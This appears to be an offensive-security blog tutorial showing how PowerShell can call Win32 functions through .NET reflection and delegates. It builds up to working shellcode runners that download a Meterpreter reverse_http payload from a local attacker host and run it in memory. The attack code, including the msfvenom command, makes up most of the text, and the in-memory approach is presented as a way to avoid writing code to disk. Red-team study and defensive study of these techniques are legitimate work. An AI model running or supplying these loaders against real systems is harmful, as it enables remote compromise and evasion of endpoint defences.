Offensive PowerShell

Since it’s release in 2006, PowerShell has become a popular language to develop offensive security tools.

PowerShell functionality is implemented by the System.Management.Automation.dll, which the powershell.exe executable acts as an interface.

Much of the utility of PowerShell is in it’s ability to execute .NET code within a PowerShell session. In turn, this .NET code can execute native Win32 functions by using System.Runtime.InteropServices.


Executing Code with Add-Type

For instance, the below example executes the Win32 WinExec function by importing .NET code with the Add-Type keyword. The .NET code in turn uses System.Runtime.InteropServices to interact with the Win32 API.

$win32 = @"

using System;
using System.Runtime.InteropServices;

public class Kernel32 {
[DllImport("kernel32.dll")]
public static extern uint WinExec(string lpCmdLine, uint uCmdShow);
}
"@

Add-Type $win32
[Kernel32]::WinExec("C:\Windows\System32\calc.exe",[uint32]0)

When this code is executed PowerShell will copy the $win32 script block to disk, and use csc.exe (the C# compiler) to compile the code that is subsequently executed. We can observe this behaviour using Sysinternals Process Monitor.


.NET Application Domains

In .NET we can dynamically lookup pointers to functions, in a similar manner to how we did in a previous article using GetProcAddress. To do this, we can iterate through the available .NET assemblies filtering on methods that are both static, and “Unsafe”.

.NET Application Domains provide an isolated region in which code runs inside of a process. The AppDomain.GetAssemblies method can be used to determine the loaded assemblies in an application domain.

PS C:\Users\user\Desktop> [AppDomain]::CurrentDomain.GetAssemblies()

GAC    Version        Location
---    -------        --------
True   v4.0.30319     C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
True   v4.0.30319     C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll
True   v4.0.30319     C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
True   v4.0.30319     C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
True   v4.0.30319     C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
...

Exploring .NET Objects

Using the PowerShellCook Show-Object cmdlet we can graphically explore the objects to find one that satisfy our criteria, of being static and marked as “Unsafe”. The Show-Object cmdlet can be installed with;

Install-Module -Name PowerShellCookbook -Force

The GetTypes() method can be used to get an array of classes defined in a module. This can be piped into Show-Object.

[AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object {$_.GetTypes()}  | Show-Object

Retrieving Module Base Addresses

The following code can be used to determine a functions address.

Function Get-FunctionAddress {
    # Get the base address of a module using GetModuleHandle and the function address using GetProcAddress.

    param(
        [string]$ModuleName,
        [string]$MethodName
    )

    Write-Host "Looking up $ModuleName $MethodName"

    # Get a handle to System.dll
    $system = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -like '*System.dll'
    # Get access to the type object representing the Microsoft.Win32.UnsafeNativeMethods type
    $unsafe = $system.GetType('Microsoft.Win32.UnsafeNativeMethods')

    # Use GetModuleHandle to get the address of a dll
    $GetModuleHandle = $unsafe.GetMethod('GetModuleHandle').Invoke($null, @($ModuleName))
    Write-Host "Kernel32.dll base address: 0x$($GetModuleHandle.ToString("X"))"
    # Use GetProcAddress to find the first instance of our function
    $GetProcAddress = $unsafe.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' } | Select-Object -First 1
    $FunctionAddress = $GetProcAddress.Invoke($null, @($GetModuleHandle, "$MethodName"))
    return $FunctionAddress
}

$FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "WinExec"
Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"

Running this, we can see that it’s successfully resolving the address of WinExec.

Looking up kernel32.dll WinExec
Kernel32.dll base address: 0x7FFD58ED0000
Function address: 0x7FFD58F36200

We can verify the module base address using Sysinternal Process Explorer:


Delegates

At this point, we can retrieve the pointers for arbitrary functions. To call these functions, we need to use a delegate.

A delegate is an object that represents a method. It can be used invoke code where the details to invoke it arn’t known until runtime. Below is an example of using a delegate to invoke a MessageBox from PowerShell.

# Add the necessary .NET assembly for Windows Forms
Add-Type -AssemblyName System.Windows.Forms

# Define a script block for the delegate
$showMessageBoxDelegate = {
    param($message, $title, $buttons, $icon)
    [System.Windows.Forms.MessageBox]::Show($message, $title, $buttons, $icon)
}

# Create a delegate from the script block
$delegate = [System.Management.Automation.ScriptBlock]::Create($showMessageBoxDelegate)

# Use the delegate to show a MessageBox
$message = "Hello, from Bordergate!"
$title = "MessageBox"
$buttons = [System.Windows.Forms.MessageBoxButtons]::OK
$icon = [System.Windows.Forms.MessageBoxIcon]::Information

$delegate.Invoke($message, $title, $buttons, $icon)

GetDelegateForFunctionPointer

We can pass the function pointers to GetDelegateForFunctionPointer to execute unmanaged code from PowerShell. This requires knowing the methods signature. A method signature is just the arguments to be supplied and the argument data types. For the WinExec function, we can find these details on the PInvoke website:

[DllImport("kernel32.dll")]
static extern uint WinExec(string lpCmdLine, uint uCmdShow);

A delegate can be used to define a method signature with the details from the PInvoke description.
The below code dynamically resolves the WinExec addresses and defines and instantiates a delegate associated with the function, ultimately executing our WinExec call.

Remove-Variable * -ErrorAction SilentlyContinue


Function Get-FunctionAddress {
    param(
        [string]$ModuleName,
        [string]$MethodName
    )

    Write-Host "Looking up $ModuleName $MethodName"

    # Get a handle to System.dll
    $system = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -like '*System.dll'
    # Get access to the type object representing the Microsoft.Win32.UnsafeNativeMethods type
    $unsafe = $system.GetType('Microsoft.Win32.UnsafeNativeMethods')
    # Use GetModuleHandle to get the address of a dll
    $GetModuleHandle = $unsafe.GetMethod('GetModuleHandle').Invoke($null, @($ModuleName))
    Write-Host "Kernel32.dll base address: 0x$($GetModuleHandle.ToString("X"))"
    # Use GetProcAddress to find the first instance of our function
    $GetProcAddress = $unsafe.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' } | Select-Object -First 1
    $FunctionAddress = $GetProcAddress.Invoke($null, @($GetModuleHandle, "$MethodName"))
    Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"

    return $FunctionAddress
}


Function Execute-Function{

    param(
        [IntPtr]$FunctionAddress
    )

    # Create a new delegate type called BordergateDelegate
    $MyAssembly = New-Object System.Reflection.AssemblyName('BordergateDelegate')
 
    # Set access mode to run to ensure it's executable
    $Domain = [AppDomain]::CurrentDomain
    $MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,[System.Reflection.Emit.AssemblyBuilderAccess]::Run)

    # Ensure the C# isn't saved to disk
    $MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    # WinExec only takes a string as a function parmeter
    $MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, @([String]))
    $MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',[int], @([string]))
    $MyMethodBuilder.SetImplementationFlags('Runtime, Managed')
    $MyDelegateType = $MyTypeBuilder.CreateType()
    $TargetFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FunctionAddress, $MyDelegateType)
    $TargetFunction.Invoke("C:\Windows\System32\calc.exe")
}


$FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "WinExec"
Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"
Execute-Function -FunctionAddress $FunctionAddress

Executing Shellcode

Whilst the above example does demonstrate invoking code in memory, it’s not particularly useful. For a more complex example, let’s look at a shellcode runner. The below code shows a basic shellcode runner using Add-Type (which will touch disk).

$Kernel32 = @"
 
using System;
using System.Runtime.InteropServices;
 
public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
 
Add-Type $Kernel32

#msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.127 LPORT=4444 EXITFUNC=thread -f raw  -o shellcode.raw
$response = Invoke-WebRequest -URI http://192.168.1.127/shellcode.raw -Method GET
[byte[]] $buf = $response.Content -as [byte[]]
	
read-host “Press ENTER to continue...”

# Get the size of the shellcode
$size = $buf.Length

# Allocate memory for the shellcode
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);

# Copy the shellcode to the allocated memory
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)

# Create a thread to execute the shellcode
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);

# Wait for the thread to finish
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

In Memory Shellcode Execution

We can convert the above code using the functions we previously created to execute the code in memory;

Remove-Variable * -ErrorAction SilentlyContinue


Function Get-FunctionAddress {
    param(
        [string]$ModuleName,
        [string]$MethodName
    )

    Write-Host "Looking up $ModuleName $MethodName"

    # Get a handle to System.dll
    $system = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -like '*System.dll'
    # Get access to the type object representing the Microsoft.Win32.UnsafeNativeMethods type
    $unsafe = $system.GetType('Microsoft.Win32.UnsafeNativeMethods')

    # Use GetModuleHandle to get the address of a dll
    $GetModuleHandle = $unsafe.GetMethod('GetModuleHandle').Invoke($null, @($ModuleName))
    Write-Host "Kernel32.dll base address: 0x$($GetModuleHandle.ToString("X"))"
    # Use GetProcAddress to find the first instance of our function
    $GetProcAddress = $unsafe.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' } | Select-Object -First 1
    $FunctionAddress = $GetProcAddress.Invoke($null, @($GetModuleHandle, "$MethodName"))
    #Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"

    return $FunctionAddress
}


Function Execute-Function{

    param(
        [IntPtr]$FunctionAddress,
        $Signature = [void],
        $Arguments = [void]
    )

    # Create a new delegate type called MyAssembly
    $MyAssembly = New-Object System.Reflection.AssemblyName('BordergateDelegate')
 
    # Set access mode to run to ensure it's executable
    $Domain = [AppDomain]::CurrentDomain
    $MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,[System.Reflection.Emit.AssemblyBuilderAccess]::Run)

    # Ensure the C# isn't saved to disk
    $MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    # WinExec only takes a string as a function parmeter
    $MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Signature)
    $MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')

    # IntPtr = return type. $Signature = method signature
    $MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',[IntPtr], $Signature)
    $MyMethodBuilder.SetImplementationFlags('Runtime, Managed')

    $MyDelegateType = $MyTypeBuilder.CreateType()
    $TargetFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FunctionAddress, $MyDelegateType)
    return $TargetFunction
}

#msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.127 LPORT=4444 EXITFUNC=thread -f raw  -o shellcode.raw
$response = Invoke-WebRequest -URI http://192.168.1.127/shellcode.raw -Method GET
[byte[]] $buf = $response.Content -as [byte[]]

$FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "VirtualAlloc"
Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"
$VirtualAlloc = Execute-Function -FunctionAddress $FunctionAddress -Signature ([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) # -Parameters ([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

$TargetBuffer = $VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
Write-Host "Buffer address: 0x$($TargetBuffer.ToString("X"))"

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $TargetBuffer, $buf.length)

$FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "CreateThread"
$CreateThread = Execute-Function -FunctionAddress $FunctionAddress -Signature ([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])
$CreateThread.Invoke([IntPtr]::Zero,0,$TargetBuffer,[IntPtr]::Zero,0,[IntPtr]::Zero)

In Conclusion

Utilising GetDelegateForFunctionPointer is a powerful technique to prevent PowerShell from writing our code to disk. It’s worth noting, the scripts will still be integorated by Anti-Virus when written to disk, and will be scanned by AMSI during execution.